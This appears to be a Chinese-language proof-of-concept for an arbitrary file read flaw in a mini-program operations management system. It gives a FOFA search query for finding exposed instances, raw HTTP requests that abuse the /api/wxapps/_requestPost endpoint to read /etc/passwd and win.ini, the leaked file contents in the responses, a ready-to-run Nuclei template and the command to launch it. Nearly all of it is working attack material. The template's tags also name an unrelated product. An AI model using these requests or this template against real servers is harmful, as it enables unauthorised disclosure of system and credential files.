万能小程序运营管理系统任意文件读取漏洞

body="/com/css/head_foot.css" || body="/com/css/iconfont"

GET /api/wxapps/_requestPost?data=1&url=file:///etc/passwd HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2486.0 Safari/537.36 Edge/13.10586Connection: closeAccept: */*Accept-Language: enAccept-Encoding: gzip

HTTP/1.1 200 OKConnection: closeAccess-Control-Allow-Headers: DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type, Accept-Language, Origin, Accept-Encoding, authorization-tokenAccess-Control-Allow-Methods: GET, POST, OPTIONS, DELETEAccess-Control-Allow-Origin: *Content-Type: text/html; charset=utf-8Date: Fri, 20 Sep 2024 06:39:55 GMTServer: ApacheUpgrade: h2Vary: Accept-Encodingroot:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

GET /api/wxapps/_requestPost?data=1&url=file://C:Windowswin.ini HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (Ubuntu; Linux i686; rv:124.0) Gecko/20100101 Firefox/124.0Connection: closeAccept: */*Accept-Language: enAccept-Encoding: gzip

HTTP/1.1 200 OKConnection: closeContent-Type: text/html; charset=utf-8Date: Fri, 20 Sep 2024 06:42:48 GMTServer: Apache/2.4.52 (Win64) OpenSSL/1.1.1m mod_fcgid/2.3.9aUpgrade: h2,h2cVary: Accept-EncodingX-Powered-By: PHP/7.0.33; for 16-bit app support[fonts][extensions][mci extensions][files][Mail]MAPI=1

id: wannneg-applet-anyfilereadinfo:  name: 万能小程序运营管理系统任意文件读取漏洞  author: fgz  severity: high  description: '万能小程序运营管理系统是一款功能强大的综合性平台，专为开发者和运营人员打造，旨在简化和提升小程序的管理与推广。该系统集成了丰富的功能模块，覆盖了小程序从开发、部署到运营管理的完整流程。通过提供多样化的工具和便捷的操作，用户可以轻松创建、管理和优化小程序。系统支持多平台部署，兼容微信、支付宝、百度、QQ等多种小程序平台，满足各类用户的多样需求。该系统/api/wxapps/_requestPost接口处存在任意文件读取漏洞，容易造成敏感信息泄露'  tags: fanwei,oa,E-Mobile,fileread  metadata:    max-request: 1    fofa-query: body="/com/css/head_foot.css" || body="/com/css/iconfont"    verified: truehttp:  - method: GET    path:      - "{{BaseURL}}/api/wxapps/_requestPost?data=1&url=file:///etc/passwd"      - "{{BaseURL}}/api/wxapps/_requestPost?data=1&url=file://C:\Windows\win.ini"    matchers-condition: and    matchers:      - type: status        status:          - 200      - type: word        words:          - "; for 16-bit app support"          - "root:x:"        condition: or        part: body

nuclei.exe -t wannneg-applet-anyfileread.yaml -u  http://192.168.30.32